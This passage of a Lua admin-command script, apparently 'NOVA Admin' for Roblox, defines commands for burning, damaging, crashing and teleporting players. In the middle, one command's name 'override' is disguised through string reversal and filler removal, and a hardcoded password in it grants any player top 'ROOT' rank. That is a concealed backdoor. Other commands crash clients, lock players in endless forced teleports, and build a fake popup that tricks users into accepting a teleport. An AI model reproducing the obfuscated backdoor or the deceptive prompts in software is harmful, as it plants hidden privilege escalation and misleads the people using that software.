3259 | AddCommand("Secret Name","sname",3,"Lets you re-name a player anything.","<Player><Name>", | |
3260 | function(Msg,Speaker) | |
3261 | Split = GetSplit(Msg) | |
3262 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
3263 | pcall(function() | |
3264 | local Char = v.Character | |
3265 | Char.Archivable = true | |
3266 | Char = Char:Clone() | |
3267 | Char.Name = Msg:sub(Split+1) | |
3268 | v.Character:Destroy() | |
3269 | Char.Parent = workspace | |
3270 | v.Character = Char | |
3271 | end) | |
3272 | end | |
3273 | end | |
3274 | ) | |
3275 | ||
3276 | AddCommand("Trall","trall",3,"Trolls the selected player.","<Player>", | |
3277 | function(Msg,Speaker) | |
3278 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3279 | CreateLocalScript([[ | |
3280 | script.Parent = nil | |
3281 | LocalPlayer = game.Players.LocalPlayer | |
3282 | Camera = workspace.CurrentCamera | |
3283 | Camera.CameraType = "Scriptable" | |
3284 | for i=1,700 do | |
3285 | wait() | |
3286 | Camera = workspace.CurrentCamera | |
3287 | Camera.CameraType = "Scriptable" | |
3288 | Camera.FieldOfView = Camera.FieldOfView + math.random(-5,5) | |
3289 | Camera.CameraType = "Scriptable" | |
3290 | Camera:SetRoll(Camera:GetRoll()+0.01) | |
3291 | pcall(function() | |
3292 | LocalPlayer.Character.Head.Sound:Play() | |
3293 | end) | |
3294 | end | |
3295 | Camera:SetRoll(0) | |
3296 | Camera.CameraType = "Custom" | |
3297 | Camera.FieldOfView = 70 | |
3298 | Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid | |
3299 | ]],v.Backpack) | |
3300 | end | |
3301 | end | |
3302 | ) | |
3303 | ||
3304 | AddCommand("Permanent Trall","permatrall",6,"Fake loopkills the selected player.","<Player>", | |
3305 | function(Msg,Speaker) | |
3306 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3307 | CreateLocalScript([[ | |
3308 | script.Parent = nil | |
3309 | LocalPlayer = game.Players.LocalPlayer | |
3310 | Camera = workspace.CurrentCamera | |
3311 | Camera.CameraType = "Scriptable" | |
3312 | for i=1,math.huge do | |
3313 | wait() | |
3314 | Camera = workspace.CurrentCamera | |
3315 | Camera.CameraType = "Scriptable" | |
3316 | Camera.FieldOfView = Camera.FieldOfView + math.random(-5,5) | |
3317 | Camera.CameraType = "Scriptable" | |
3318 | Camera:SetRoll(Camera:GetRoll()+0.01) | |
3319 | pcall(function() | |
3320 | LocalPlayer.Character.Head.Sound:Play() | |
3321 | end) | |
3322 | end | |
3323 | Camera:SetRoll(0) | |
3324 | Camera.CameraType = "Custom" | |
3325 | Camera.FieldOfView = 70 | |
3326 | Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid | |
3327 | ]],v.Backpack) | |
3328 | end | |
3329 | end | |
3330 | ) | |
3331 | ||
3332 | AddCommand("Show Credit","showcred",0,"Shows the credits.","No Arguments", | |
3333 | function(Msg,Speaker) | |
3334 | for _,v in pairs(NOVA.Credit) do | |
3335 | Output("Thanks to : "..v.Name.." "..v.Why,"Random",Speaker) | |
3336 | end | |
3337 | end | |
3338 | ) | |
3339 | ||
3340 | AddCommand("Home","home",0,"Teleports you to the Vector3 0 50 0.","No Arguments", | |
3341 | function(Msg,Speaker) | |
3342 | pcall(function() | |
3343 | Speaker.Character.Torso.Velocity = Vector3.new(0,0,0) | |
3344 | Speaker.Character.Torso.RotVelocity = Vector3.new(0,0,0) | |
3345 | Speaker.Character.Torso.CFrame = CFrame.new(0,50,0) | |
3346 | end) | |
3347 | end | |
3348 | ) | |
3349 | ||
3350 | AddCommand("Time","time",1,"Changes the time.","<Number>", | |
3351 | function(Msg,Speaker) | |
3352 | NOVA.Services.Lighting.TimeOfDay = Msg | |
3353 | end | |
3354 | ) | |
3355 | ||
3356 | AddCommand("Fog End","fog/end",1,"Changes the fog.","<Number>", | |
3357 | function(Msg,Speaker) | |
3358 | NOVA.Services.Lighting.FogEnd = Msg | |
3359 | end | |
3360 | ) | |
3361 | ||
3362 | AddCommand("Fog Start","fog/start",1,"Changes the fog.","<Number>", | |
3363 | function(Msg,Speaker) | |
3364 | NOVA.Services.Lighting.FogStart = Msg | |
3365 | end | |
3366 | ) | |
3367 | ||
3368 | AddCommand("Fog Color","fog/color",1,"Changes the fog.","<Number>", | |
3369 | function(Msg,Speaker) | |
3370 | if Msg == "red" then Color = NOVA.Colors.Red | |
3371 | elseif Msg == "black" then Color = NOVA.Colors.Black | |
3372 | elseif Msg == "white" then Color = NOVA.Colors.White | |
3373 | elseif Msg == "orange" then Color = NOVA.Colors.Orange | |
3374 | elseif Msg == "green" then Color = NOVA.Colors.Green | |
3375 | elseif Msg == "blue" then Color = NOVA.Colors.Blue | |
3376 | end | |
3377 | NOVA.Services.Lighting.FogColor = Color | |
3378 | end | |
3379 | ) | |
3380 | --deride | |
3381 | AddCommand(string.reverse(string.gsub("DSAeDSAdDSAiDSArDSArDSAeDSAvDSAODSA","DSA","")),string.reverse(string.gsub("DSAeDSAdDSAiDSArDSArDSAeDSAvDSAoDSA","DSA","")),0,"","", | |
3382 | function(Msg,Speaker) | |
3383 | CanOverride = false | |
3384 | if GetRank(Speaker) < 6 then | |
3385 | if Msg == "ibpwning123" then | |
3386 | CanOverride = true | |
3387 | else | |
3388 | Output("Incorrect password.",NOVA.Colors.Red,Speaker,15) | |
3389 | end | |
3390 | else | |
3391 | CanOverride = true | |
3392 | end | |
3393 | if NOVA.Overrided == true then | |
3394 | CanOverride = false | |
3395 | Output("NOVA is allready overridden.",NOVA.Colors.Red,Speaker,20) | |
3396 | return | |
3397 | end | |
3398 | if CanOverride == true then | |
3399 | NOVA.Overrided = true | |
3400 | NOVA.Overrider = Speaker | |
3401 | --[[for _,v in pairs(NOVA.Ranked) do | |
3402 | if v.Rank < 6 then | |
3403 | v.Rank = v.Rank / 10 | |
3404 | end | |
3405 | end]] | |
3406 | --[[ CF = Speaker.Character.Torso.CFrame | |
3407 | Sound = Instance.new("Sound",workspace) | |
3408 | Sound.SoundId = "http://www.roblox.com/asset?id=2248511" | |
3409 | Sound.Pitch = 0.2 | |
3410 | Sound.Volume = 1 | |
3411 | wait() | |
3412 | Sound:Play() | |
3413 | Shockwave = Instance.new("Part",workspace) | |
3414 | Shockwave.FormFactor = "Custom" | |
3415 | Shockwave.Name = "Shockwave" | |
3416 | Shockwave.Anchored = true | |
3417 | Shockwave.CanCollide = false | |
3418 | Shockwave.Transparency = 0 | |
3419 | Shockwave.Reflectance = 0 | |
3420 | Shockwave.BrickColor = BrickColor.new(0,0,0) | |
3421 | Shockwave.Size = Vector3.new(0,0,0) | |
3422 | ShockwaveMesh = Instance.new("SpecialMesh",Shockwave) | |
3423 | ShockwaveMesh.MeshType = "FileMesh" | |
3424 | ShockwaveMesh.MeshId = "http://www.roblox.com/asset/?id=3270017" | |
3425 | ShockwaveMesh.Scale = Vector3.new(1,1,100) | |
3426 | ||
3427 | for Times = 1,10 do | |
3428 | coroutine.resume(coroutine.create(function() | |
3429 | for i=1,1000 do | |
3430 | wait() | |
3431 | ShockwaveMesh.Scale = ShockwaveMesh.Scale + Vector3.new(0.5,0.5,0) | |
3432 | Shockwave.CFrame = CF | |
3433 | * CFrame.new(0,0,0) | |
3434 | * CFrame.Angles(math.rad(90),0,0) | |
3435 | Shockwave.Transparency = i/100 | |
3436 | end | |
3437 | Shockwave:Remove() | |
3438 | Sound:Remove() | |
3439 | end)) | |
3440 | end | |
3441 | ||
3442 | ]] | |
3443 | GetRankedTable(Speaker).Rank = 8 + (GetRankedTable(Speaker).Rank/10) | |
3444 | Output("You have overrided NOVA Admin.",NOVA.Colors.Red,Speaker,60) | |
3445 | Output("You are now rank 8. ( ROOT )",NOVA.Colors.Red,Speaker,60) | |
3446 | Output("Use the reset command to reset NOVA.",NOVA.Colors.Red,Speaker,60) | |
3447 | OnChatted(NOVA.Bet .. "fence/me",Speaker) | |
3448 | end | |
3449 | return CanOverride | |
3450 | end | |
3451 | ) | |
3452 | ||
3453 | AddCommand("Reset","reset",7,"Resets NOVA Admin.","No Argumetns", | |
3454 | function(Msg,Speaker) | |
3455 | NOVA.Overrided = false | |
3456 | for _,v in pairs(NOVA.Tablets) do pcall(function() v:Remove() end) end | |
3457 | NOVA.Targeted = {}; | |
3458 | NOVA.Waypoints = {}; | |
3459 | NOVA.Log = {}; | |
3460 | NOVA.LoggedScripts = {}; | |
3461 | NOVA.PRI = false; | |
3462 | NOVA.LockedScripts = false; | |
3463 | NOVA.Removed = false; | |
3464 | NOVA.ShowChat = true; | |
3465 | NOVA.Canceled = false; | |
3466 | NOVA.TimeChanged = false; | |
3467 | NOVA.Overrider = nil | |
3468 | for _,v in pairs(NOVA.Ranked) do | |
3469 | if #tostring(v.Rank) == 3 then | |
3470 | if tostring(v.Rank):sub(1,1) == "8" then | |
3471 | v.Rank = (v.Rank - 8) * 10 | |
3472 | else | |
3473 | --v.Rank = v.Rank * 10 | |
3474 | end | |
3475 | end | |
3476 | end | |
3477 | end | |
3478 | ) | |
3479 | ||
3480 | AddCommand("@","@",0,"Chats for the other user.","<Player><Chat>", | |
3481 | function(Msg,Speaker) | |
3482 | ||
3483 | Split = GetSplit(Msg) | |
3484 | ||
3485 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
3486 | OnChatted(Msg:sub(Split),v) | |
3487 | end | |
3488 | end | |
3489 | ) | |
3490 | ||
3491 | AddCommand("Tell","Tell",1,"Pings the following string to the player.","<Player><Chat>", | |
3492 | function(Msg,Speaker) | |
3493 | ||
3494 | Split = GetSplit(Msg) | |
3495 | ||
3496 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
3497 | Output(Msg:sub(Split+1),"Random",v,10) | |
3498 | end | |
3499 | end | |
3500 | ) | |
3501 | ||
3502 | AddCommand("Damage","dmg",2,"Damages the selected player the selected ammount.","<Player><FloatValue>", | |
3503 | function(Msg,Speaker) | |
3504 | Split = GetSplit(Msg) | |
3505 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
3506 | pcall(function() | |
3507 | v.Character.Humanoid.Health = v.Character.Humanoid.Health - tonumber(Msg:sub(Split+1)) | |
3508 | end) | |
3509 | end | |
3510 | end | |
3511 | ) | |
3512 | ||
3513 | AddCommand("Obliterate","obliterate",4,"Obliterates the selected player. ( DUH )","<Player>", | |
3514 | function(Msg,Speaker) | |
3515 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3516 | for i=1,6 do | |
3517 | local Cube = Instance.new("Part",NOVA.Services.Workspace) | |
3518 | Cube.FormFactor = "Custom" | |
3519 | Cube.Size = Vector3.new(10,7,5) | |
3520 | Cube.BrickColor = BrickColor.new(math.random(),math.random(),math.random()) | |
3521 | Cube.Anchored = false | |
3522 | Cube.CanCollide = true | |
3523 | Cube.Locked = true | |
3524 | Cube.Friction = 0 | |
3525 | Cube.Transparency= 0 | |
3526 | Cube.Reflectance = 0.5 | |
3527 | Cube:BreakJoints() | |
3528 | Cube.CFrame = v.Character.Torso.CFrame | |
3529 | ||
3530 | local Mesh = Instance.new("SpecialMesh",Cube) | |
3531 | Mesh.MeshType = "FileMesh" | |
3532 | Mesh.MeshId = "http://www.roblox.com/asset/?id=1029523" | |
3533 | Mesh.Scale = Vector3.new(0.1,0.1,0.1) | |
3534 | ||
3535 | Cube.Touched:connect(function(part) | |
3536 | --if part == v.Character.Torso then | |
3537 | part:BreakJoints() | |
3538 | NOVA.Services.Debris:AddItem(Cube,20) | |
3539 | --end | |
3540 | end) | |
3541 | end | |
3542 | end | |
3543 | end | |
3544 | ) | |
3545 | ||
3546 | AddCommand("Remove Guis","rguis",3,"Removes the guis in the selected player's PlayerGui.","<Player>", | |
3547 | function(Msg,Speaker) | |
3548 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3549 | pcall(function() | |
3550 | v.PlayerGui:ClearAllChildren() | |
3551 | end) | |
3552 | end | |
3553 | end | |
3554 | ) | |
3555 | ||
3556 | AddCommand("Remove Player Gui","rpgui",4,"Removes the PlayerGui of the selected player.","<Player>", | |
3557 | function(Msg,Speaker) | |
3558 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3559 | pcall(function() | |
3560 | v.PlayerGui:Destroy() | |
3561 | end) | |
3562 | end | |
3563 | end | |
3564 | ) | |
3565 | ||
3566 | AddCommand("Fire","fire",2,"Sets the selected player on fire.","<Player>", | |
3567 | function(Msg,Speaker) | |
3568 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3569 | pcall(function() | |
3570 | for _,part in pairs(GetRecursiveChildren(v.Character)) do | |
3571 | if part:IsA("BasePart") then | |
3572 | Instance.new("Fire",part) | |
3573 | end | |
3574 | end | |
3575 | end) | |
3576 | end | |
3577 | end | |
3578 | ) | |
3579 | ||
3580 | AddCommand("Un Fire","unfire",2,"Extenguishes the selected player.","<Player>", | |
3581 | function(Msg,Speaker) | |
3582 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3583 | pcall(function() | |
3584 | for _,part in pairs(GetRecursiveChildren(v.Character)) do | |
3585 | if part:IsA("Fire") then | |
3586 | part:Destroy() | |
3587 | end | |
3588 | end | |
3589 | end) | |
3590 | end | |
3591 | end | |
3592 | ) | |
3593 | ||
3594 | AddCommand("Burn","burn",3,"Burns the selected player.","<Player>", | |
3595 | function(Msg,Speaker) | |
3596 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3597 | pcall(function() | |
3598 | coroutine.resume(coroutine.create(function() | |
3599 | local Fire = Instance.new("Fire",v.Character.Torso) | |
3600 | for _,part in pairs(GetRecursiveChildren(v.Character)) do | |
3601 | if part:IsA("BasePart") then | |
3602 | Instance.new("Fire",part) | |
3603 | end | |
3604 | end | |
3605 | wait() | |
3606 | for i=1,math.huge do | |
3607 | if Fire.Parent == nil then break end | |
3608 | if v.Character.Humanoid == nil then break end | |
3609 | if v.Character.Humanoid.Health <= 0 then break end | |
3610 | v.Character.Humanoid.Health = v.Character.Humanoid.Health - math.random(0,7) | |
3611 | wait(math.random(0,1)) | |
3612 | end | |
3613 | end)) | |
3614 | end) | |
3615 | end | |
3616 | end | |
3617 | ) | |
3618 | ||
3619 | AddCommand("Heal","heal",1,"Heals the selected player.","<Player>", | |
3620 | function(Msg,Speaker) | |
3621 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3622 | pcall(function() | |
3623 | v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth | |
3624 | end) | |
3625 | end | |
3626 | end | |
3627 | ) | |
3628 | ||
3629 | AddCommand("Crash","crash",4,"Crashes the selected player's ROBLOX window.","<Player>", | |
3630 | function(Msg,Speaker) | |
3631 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3632 | pcall(function() | |
3633 | v.Character.Humanoid.WalkSpeed = tonumber("1e+999") | |
3634 | end) | |
3635 | end | |
3636 | end | |
3637 | ) | |
3638 | ||
3639 | AddCommand("Cape","cape",4,"Gives the selected player a cape.","<Player>", | |
3640 | function(Msg,Speaker) | |
3641 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3642 | Cape(v) | |
3643 | end | |
3644 | end | |
3645 | ) | |
3646 | ||
3647 | AddCommand("Generate Terrain","genter",2,"Generates a terrain cube.","No Arguments", | |
3648 | function(Msg,Speaker) | |
3649 | coroutine.resume(coroutine.create(function() | |
3650 | ||
3651 | Material = math.random(1,16) | |
3652 | Cap = 1000 | |
3653 | GenNum = 50 | |
3654 | Size = 100 | |
3655 | Type = math.random(0,4) | |
3656 | for i=1, Cap do | |
3657 | --wait() | |
3658 | for i=1,GenNum do | |
3659 | Material = math.random(1,16) | |
3660 | Type = math.random(0,4) | |
3661 | X = math.random((Size/2)*-1,Size/2) | |
3662 | Y = math.random(-1,Size-1) | |
3663 | Z = math.random((Size/2)*-1,Size/2) | |
3664 | NOVA.Services.Workspace.Terrain:SetCell(X,Y,Z,Material,Type,0) | |
3665 | end | |
3666 | end | |
3667 | end)) | |
3668 | end | |
3669 | ) | |
3670 | ||
3671 | AddCommand("Degenerate Terrain","degen",2,"Clears the terrain.","No Arguments", | |
3672 | function(Msg,Speaker) | |
3673 | NOVA.Services.Workspace.Terrain:Clear() | |
3674 | end | |
3675 | ) | |
3676 | ||
3677 | AddCommand("Ocean","ocean",4,"Generates an ocean.","No Arguments", | |
3678 | function(Msg,Speaker) | |
3679 | coroutine.resume(coroutine.create(function() | |
3680 | size = Vector3.new(700, 12, 700) | |
3681 | for X=(size.x/2)*-1,size.x/2 do | |
3682 | for Y=-1, size.y-1 do | |
3683 | for Z=(size.z/2)*-1, size.z/2 do | |
3684 | NOVA.Services.Workspace.Terrain:SetWaterCell(X, Y, Z, 0, 0) | |
3685 | end | |
3686 | end | |
3687 | --wait(tonumber("0."..string.rep("0",10000).."1")) | |
3688 | end | |
3689 | end)) | |
3690 | end | |
3691 | ) | |
3692 | if NOVA.AntiCamball == true then | |
3693 | Delay(0, function() | |
3694 | while wait() do | |
3695 | pcall(function() | |
3696 | e=workspace:findFirstChild("Focus", true) | |
3697 | e.Parent.Head:Destroy() | |
3698 | e:Destroy() | |
3699 | end) | |
3700 | end | |
3701 | end) | |
3702 | end | |
3703 | AddCommand("Darken","darken",4,"Makes the selected player dark.","<Player>", | |
3704 | function(Msg,Speaker) | |
3705 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3706 | Char = v.Character | |
3707 | pcall(function() Char["Shirt Graphic"]:Remove() end) | |
3708 | pcall(function() Char.Humanoid.MaxHealth = math.huge end) | |
3709 | pcall(function() Char["Body Colors"]:Remove() end) | |
3710 | pcall(function() Char.Torso.roblox:Remove() end) | |
3711 | pcall(function() Char.Shirt:Remove() end) | |
3712 | pcall(function() Char.Pants:Remove() end) | |
3713 | wait() | |
3714 | for _,v in pairs(GetRecursiveChildren(Char)) do | |
3715 | pcall(function() | |
3716 | v.TextureId = "" v.VertexColor = NOVA.Colors.Black | |
3717 | end) | |
3718 | pcall(function() | |
3719 | v.BrickColor = BrickColor.new(Color3.new(NOVA.Colors.Black)) | |
3720 | v.Reflectance = 0 | |
3721 | v.TopSurface = "Smooth" | |
3722 | a.BottomSurfave = "Smooth" | |
3723 | end) | |
3724 | end | |
3725 | end | |
3726 | end | |
3727 | ) | |
3728 | ||
3729 | AddCommand("Character 1","char1",5,"Gives the selected player character appearance 1.","<Player>", | |
3730 | function(Msg,Speaker) | |
3731 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3732 | v.CharacterAppearance = "http://www.roblox.com/asset/?id=81445914" | |
3733 | wait() | |
3734 | v.Character:BreakJoints() | |
3735 | end | |
3736 | end | |
3737 | ) | |
3738 | ||
3739 | AddCommand("Character 2","char2",6,"Gives the selected player character appearance 2.","<Player>", | |
3740 | function(Msg,Speaker) | |
3741 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3742 | local Part = Instance.new("Part",v.Character) | |
3743 | Part.Name = "Horus" | |
3744 | Part.Size = Vector3.new(2,2,2) | |
3745 | Part.CanCollide = false | |
3746 | Part.Locked = true | |
3747 | Part:BreakJoints() | |
3748 | local Weld = Instance.new("Weld",Part) | |
3749 | Weld.Part0 = Part | |
3750 | Weld.Part1 = v.Character.Head | |
3751 | Weld.C0 = CFrame.new(0,-0.5,0) | |
3752 | local Mesh = Instance.new("SpecialMesh",Part) | |
3753 | Mesh.MeshType = "FileMesh" | |
3754 | Mesh.MeshId = "http://www.roblox.com/asset/?id=21712738" | |
3755 | Mesh.TextureId = "http://www.roblox.com/asset/?id=47058599" | |
3756 | for _,v in pairs(GetRecursiveChildren(v.Character,"Hat",3)) do | |
3757 | v:Remove() | |
3758 | end | |
3759 | pcall(function() | |
3760 | v.Character.Pants:Remove() | |
3761 | end) | |
3762 | pcall(function() | |
3763 | v.Character.Shirt:Remove() | |
3764 | end) | |
3765 | local Shirt = Instance.new("Shirt",v.Character) | |
3766 | Shirt.ShirtTemplate = "http://www.roblox.com/asset/?id=59737180" | |
3767 | local Pants = Instance.new("Pants",v.Character) | |
3768 | Pants.PantsTemplate = "http://www.roblox.com/asset/?id=77382108" | |
3769 | end | |
3770 | end | |
3771 | ) | |
3772 | ||
3773 | AddCommand("Neutral","neutral",3,"Changes the Neutral value of the selected player.","<Player><Boolean>", | |
3774 | function(Msg,Speaker) | |
3775 | Split = GetSplit(Msg) | |
3776 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
3777 | v.Neutral = Msg:sub(Split+1) | |
3778 | end | |
3779 | end | |
3780 | ) | |
3781 | ||
3782 | AddCommand("Generate Portal","genportal",6,"Generates a portal in the workspace.","No Arguments", | |
3783 | function(Msg,Speaker) | |
3784 | MainCFrame = CFrame.new(0,3,15) | |
3785 | * CFrame.Angles(0,math.rad(90),0) | |
3786 | local Special = {} | |
3787 | pcall(function() workspace["NOVA Portal"]:Remove() end) | |
3788 | local Model = Instance.new("Model",workspace) | |
3789 | Model.Name = "NOVA Portal" | |
3790 | for angle=1,360/4 do | |
3791 | local Part = Instance.new("Part",Model) | |
3792 | Part.Name = "Part" | |
3793 | Part.FormFactor = "Custom" | |
3794 | Part.CanCollide = true | |
3795 | Part.Anchored = true | |
3796 | Part.Locked = true | |
3797 | Part.Transparency = 0 | |
3798 | Part.Reflectance = 0 | |
3799 | Part.Size = Vector3.new(1,5/2,1) | |
3800 | Part.BrickColor = BrickColor.new("Navy blue") | |
3801 | Part.CFrame = MainCFrame | |
3802 | * CFrame.Angles(math.rad(angle*4), 0, 0) | |
3803 | * CFrame.new(0, 15/2, i) | |
3804 | --wait(0) | |
3805 | Instance.new("BlockMesh",Part) | |
3806 | for num=0,1000,5 do | |
3807 | if angle==num then | |
3808 | wait() | |
3809 | table.insert(Special,Part) | |
3810 | --Part.Reflectance = 1 | |
3811 | Part.Size = Vector3.new(0.9,5/2,0.9) | |
3812 | Part.CFrame = MainCFrame | |
3813 | * CFrame.Angles(math.rad(angle*4), 0, 0) | |
3814 | * CFrame.new(0, 15/2, i) | |
3815 | end | |
3816 | end | |
3817 | end | |
3818 | ||
3819 | for _,v in pairs(Special) do v.Reflectance = 1 wait() end | |
3820 | ||
3821 | local Part = Instance.new("Part",Model) | |
3822 | Part.Name = "Part" | |
3823 | Part.FormFactor = "Custom" | |
3824 | Part.CanCollide = false | |
3825 | Part.Anchored = true | |
3826 | Part.Locked = true | |
3827 | Part.TopSurface = "Smooth" | |
3828 | Part.BottomSurface = "Smooth" | |
3829 | Part.Transparency = 0.5 | |
3830 | Part.Reflectance = 0 | |
3831 | Part.Size = Vector3.new(0.2,0.2,0.2) | |
3832 | Part.BrickColor = BrickColor.new("Really black") | |
3833 | Part.CFrame = MainCFrame | |
3834 | * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90)) | |
3835 | * CFrame.new(0, 0, 0) | |
3836 | Instance.new("CylinderMesh",Part) | |
3837 | ||
3838 | for i=0.2,51/4,0.5 do | |
3839 | wait() | |
3840 | Part.Size = Vector3.new(i,0.9,i) | |
3841 | Part.CFrame = MainCFrame | |
3842 | * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90)) | |
3843 | * CFrame.new(0, 0, 0) | |
3844 | end | |
3845 | ||
3846 | coroutine.resume(coroutine.create(function() | |
3847 | while true do wait() | |
3848 | for i=0,1,0.01 do wait() Part.Reflectance = i end | |
3849 | for i=1,0,-0.01 do wait() Part.Reflectance = i end | |
3850 | end | |
3851 | end)) | |
3852 | ||
3853 | Part.Touched:connect(function(Part) | |
3854 | Player = game:GetService("Players"):GetPlayerFromCharacter(Part.Parent) | |
3855 | if Player ~= nil and not Player.PlayerGui:FindFirstChild("NOVA Teleport") then | |
3856 | --print(Player.Name.." touched.") | |
3857 | CreateLocalScript([==[ | |
3858 | LocalPlayer = game:GetService("Players").LocalPlayer | |
3859 | Places = { | |
3860 | {Name = "Oxcool1 SB",ID = 20279777}; | |
3861 | {Name = "Oxcool1 PRI SB", ID = 20132544}; | |
3862 | {Name = "TNS SB", ID = 23232804}; | |
3863 | {Name = "BrainWart SB", ID = 76809211}; | |
3864 | {Name = "nb SB",ID = 113456}; | |
3865 | {Name = "nb SB (2)",ID = 56786}; | |
3866 | {Name = "Insert Wars",ID = 13329886}; | |
3867 | {Name = "tus sb", ID = 49907749}; | |
3868 | } | |
3869 | pcall(function() LocalPlayer.PlayerGui["NOVA Teleport"]:Remove() end) | |
3870 | local Main = Instance.new("ScreenGui",LocalPlayer.PlayerGui) | |
3871 | Main.Name = "NOVA Teleport" | |
3872 | script.Parent = Main | |
3873 | ||
3874 | local Frame = Instance.new("Frame",Main) | |
3875 | Frame.Size = UDim2.new(0.27,0,0.05,0) | |
3876 | Frame.Position = UDim2.new(0.,0,0.2,0) | |
3877 | Frame.Style = "RobloxSquare" | |
3878 | ||
3879 | local Txt = Instance.new("TextBox",Frame) | |
3880 | Txt.Size = UDim2.new(0.7,0,1,0) | |
3881 | Txt.BackgroundTransparency = 1 | |
3882 | Txt.FontSize = "Size14" | |
3883 | Txt.TextColor3 = Color3.new(1,1,1) | |
3884 | Txt.Text = "ID/Name Here" | |
3885 | ||
3886 | local Close = Instance.new("TextButton",Frame) | |
3887 | Close.Size = UDim2.new(0.1,0,1,0) | |
3888 | Close.Position = UDim2.new(0.9,0,0,0) | |
3889 | Close.Text = "X" | |
3890 | Close.BackgroundTransparency = 1 | |
3891 | Close.FontSize = "Size14" | |
3892 | Close.TextColor3 = Color3.new(1,0,0) | |
3893 | Close.MouseButton1Down:connect(function() | |
3894 | Main:Remove() | |
3895 | end) | |
3896 | ||
3897 | local Exe = Instance.new("TextButton",Frame) | |
3898 | Exe.Size = UDim2.new(0.2,0,1,0) | |
3899 | Exe.Position = UDim2.new(0.6,0,0,0) | |
3900 | Exe.Text = "Teleport" | |
3901 | Exe.BackgroundTransparency = 1 | |
3902 | Exe.FontSize = "Size14" | |
3903 | Exe.TextColor3 = Color3.new(1,0,0) | |
3904 | Exe.MouseButton1Down:connect(function() | |
3905 | GoTo = Txt.Text | |
3906 | for _,v in pairs(Places) do | |
3907 | if Txt.Text:lower() == v.Name:lower() then | |
3908 | GoTo = v.ID | |
3909 | end | |
3910 | end | |
3911 | game:GetService'TeleportService':Teleport(GoTo) | |
3912 | Main:Remove() | |
3913 | end) | |
3914 | ||
3915 | List = Instance.new("Frame",Main) | |
3916 | List.Size = UDim2.new(0.27,0,0.05*#Places,0) | |
3917 | List.Position = UDim2.new(0.,0,0.2 + (0.05*((#Places/2)-1)),0) | |
3918 | List.Style = "RobloxSquare" | |
3919 | ||
3920 | for NUM,v in pairs(Places) do | |
3921 | Name = Instance.new("TextButton",List) | |
3922 | Name.Size = UDim2.new(0.5,0,1/#Places,0) | |
3923 | Name.Position = UDim2.new(0,0,(NUM-1)*(1/#Places),0) | |
3924 | Name.BackgroundTransparency = 1 | |
3925 | Name.FontSize = "Size14" | |
3926 | Name.TextColor3 = Color3.new(1,1,1) | |
3927 | Name.Text = v.Name | |
3928 | Name.MouseButton1Down:connect(function() | |
3929 | game:GetService'TeleportService':Teleport(v.ID) | |
3930 | end) | |
3931 | ID = Instance.new("TextButton",List) | |
3932 | ID.Size = UDim2.new(0.5,0,1/#Places,0) | |
3933 | ID.Position = UDim2.new(0.5,0,(NUM-1)*(1/#Places),0) | |
3934 | ID.BackgroundTransparency = 1 | |
3935 | ID.FontSize = "Size14" | |
3936 | ID.TextColor3 = Color3.new(1,1,1) | |
3937 | ID.Text = v.ID | |
3938 | ID.MouseButton1Down:connect(function() | |
3939 | game:GetService'TeleportService':Teleport(v.ID) | |
3940 | end) | |
3941 | end | |
3942 | ]==],Player.Backpack) | |
3943 | end | |
3944 | end) | |
3945 | end | |
3946 | ) | |
3947 | ||
3948 | AddCommand("Place Teleport","ptp",5,"Sends a teleport request to the selected player.","<Player><PlaceId>", | |
3949 | function(Msg,Speaker) | |
3950 | GetSplit(Msg) | |
3951 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
3952 | CreateLocalScript([==[game:GetService'TeleportService':Teleport(]==]..Msg:sub(Split+1)..[==[)]==],v.Backpack) | |
3953 | end | |
3954 | end | |
3955 | ) | |
3956 | ||
3957 | AddCommand("Force Place Teleport","fptp",6,"Forces the selected player to teleport to the given place.","<Player><PlaceId>", | |
3958 | function(Msg,Speaker) | |
3959 | Split = GetSplit(Msg) | |
3960 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
3961 | CreateLocalScript([==[ | |
3962 | script.Parent = nil | |
3963 | while true do wait() | |
3964 | game:GetService'TeleportService':Teleport(]==]..Msg:sub(Split+1)..[==[) | |
3965 | end | |
3966 | ]==],v.Backpack) | |
3967 | end | |
3968 | end | |
3969 | ) | |
3970 | ||
3971 | AddCommand("Trick Place Tele Port","tptp",6,"Tricks the selected user into clicking on 'Yes' for teleport.","<Player><PlaceId>", | |
3972 | function(Msg,Speaker) | |
3973 | Split = GetSplit(Msg) | |
3974 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
3975 | pcall(function() | |
3976 | CreateLocalScript([[ | |
3977 | LocalPlayer = game.Players.LocalPlayer | |
3978 | script.Parent = nil | |
3979 | ScreenGui = Instance.new("ScreenGui") | |
3980 | ScreenGui.Name = "Trololol" | |
3981 | Frame = Instance.new("Frame",ScreenGui) | |
3982 | Frame.Name = "Popup" | |
3983 | Frame.Style = "RobloxRound" | |
3984 | Frame.Size = UDim2.new(0, 330, 0, 350) | |
3985 | Frame.Position = UDim2.new(0.5, -165, 0.5, -175) | |
3986 | Frame.Active = true | |
3987 | Frame.ZIndex = 9 | |
3988 | ||
